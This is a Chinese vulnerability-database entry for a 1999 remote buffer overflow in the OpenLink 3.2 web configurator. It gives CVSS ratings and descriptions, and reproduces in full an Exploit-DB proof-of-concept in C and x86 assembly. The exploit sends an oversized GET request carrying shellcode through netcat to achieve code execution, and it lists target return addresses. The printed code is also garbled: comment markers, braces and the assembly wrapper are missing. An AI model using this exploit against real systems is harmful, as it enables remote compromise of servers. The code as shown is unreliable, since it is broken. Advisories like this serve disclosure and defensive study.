发布时间 :1999-10-15 00:00:00
修订时间 :2008-09-09 08:36:13

[原文]Buffer overflow in OpenLink 3.2 allows remote attackers to gain privileges via a long GET request to the web configurator.

[CNNVD]OpenLink 远程缓冲区溢出漏洞(CNNVD-199910-030)

        OpenLink 3.2中存在缓冲区溢出漏洞。远程攻击者借助web配置的长GET请求获得特权。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

OpenLink 远程缓冲区溢出漏洞
危急 缓冲区溢出
1999-10-15 00:00:00 2005-05-02 00:00:00
        OpenLink 3.2中存在缓冲区溢出漏洞。远程攻击者借助web配置的长GET请求获得特权。

- 公告与补丁

        OpenLink has been notified of this problem and is working on a fix.

- 漏洞信息 (19558)

OpenLink Software OpenLink 3.2 Remote Buffer Overflow Vulnerability (EDBID:19558)
linux remote
1999-10-15 Verified
0 Tymm Twillman
N/A [点击下载]

Both the Unix and WindowsNT versions of OpenLink 3.2 are vulnerable to a remotely exploitable buffer overflow attack. The problem is in their web configuration utility, and is the result of an unchecked strcpy() call. The consequence is the execution of arbitrary code on the target host (running the configuration utility) with the priviliges of the web software. 

#include <stdio.h>
#include <unistd.h>

 * Exploit for Openlink's web configurator for Linux/glibc2
 *  use: pipe through netcat to openlink web port (8000 default)
 *  ex: ./oplwall 0xbffffb85 | nc 8000
 *  makes www_sv execute /usr/bin/wall if you hit the address right
 * For informational purposes only.  This was written to show that
 *  there's a problem, not for skr1pt k1dd33z --.
 *  don't ask me for help on how to use this to crack systems,
 *  help compiling or anything else.  It will only compile on
 *  an x86 compiler however.
 * Addresses that work for me: 0xbffffb65 (initial run of the broker)
 *                             0xbffffb85 (all consecutive attempts)
 *                             probably tied to process ID www_sv runs as;
 *                             first try PIDs were in triple digits, others
 *                             4 digit PIDs.
 * If this works, generally no more www_sv processes will be run as a side effect.

void test() {


        jmp    doit

        # code basically from Aleph One's smash stacking article, with
        #  minor mods

        popl  %esi
        movb  $0xd0, %al            # Get a / character into %al
        xorb  $0xff, %al
        movb  %al, 0x1(%esi)        # drop /s into place
        movb  %al, 0x5(%esi)
        movb  %al, 0x9(%esi)
        xorl  %eax,%eax             # clear %eax
        movb  %eax,0xe(%esi)        # drop a 0 at end of string
        movl  %eax,0x13(%esi)       # drop NULL for environment
        leal  0x13(%esi),%edx       # point %edx to environment
        movl  %esi,0xf(%esi)        # drop pointer to argv
        leal  0xf(%esi),%ecx        # point %ecx to argv
        movl  %esi,%ebx             # point ebx to command - 1
        inc   %ebx                  # fix it to point to the right place
        movb  $0xb,%al              # index to execve syscall
        int   $0x80                 # execute it
        xorl  %ebx,%ebx            #  if exec failed, exit nicely...
        movl  %ebx,%eax
        inc   %eax
        int   $0x80
        call exploit
        .string \"..usr.bin.wall.\"


char *shellcode = ((char *)test) + 3;

char code[1000];

int main(int argc, char *argv[])

        int i;
        int left;
        unsigned char where[] = {"\0\0\0\0\0"} ;
        int *here;
        char *dummy;
        long addr;

        if (argc > 1)
                addr = strtoul(argv[1], &dummy, 0);
                addr = 0xbffffb85;

        fprintf(stderr, "Setting address to %8x\n", addr);

        *((long *)where) = addr;

        strcpy(code, shellcode);

        for (i = 0; i < 64; i++) {
                strcat(code, where);

        printf("GET %s\n", code);



- 漏洞信息

OpenLink Web Configurator GET Request Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in the web configuration utility of OpenLink. The application fails to perform proper bounds checking resulting in a buffer overflow. With a specially crafted GET request, a remote attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

1999-10-15 Unknow
1999-10-15 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者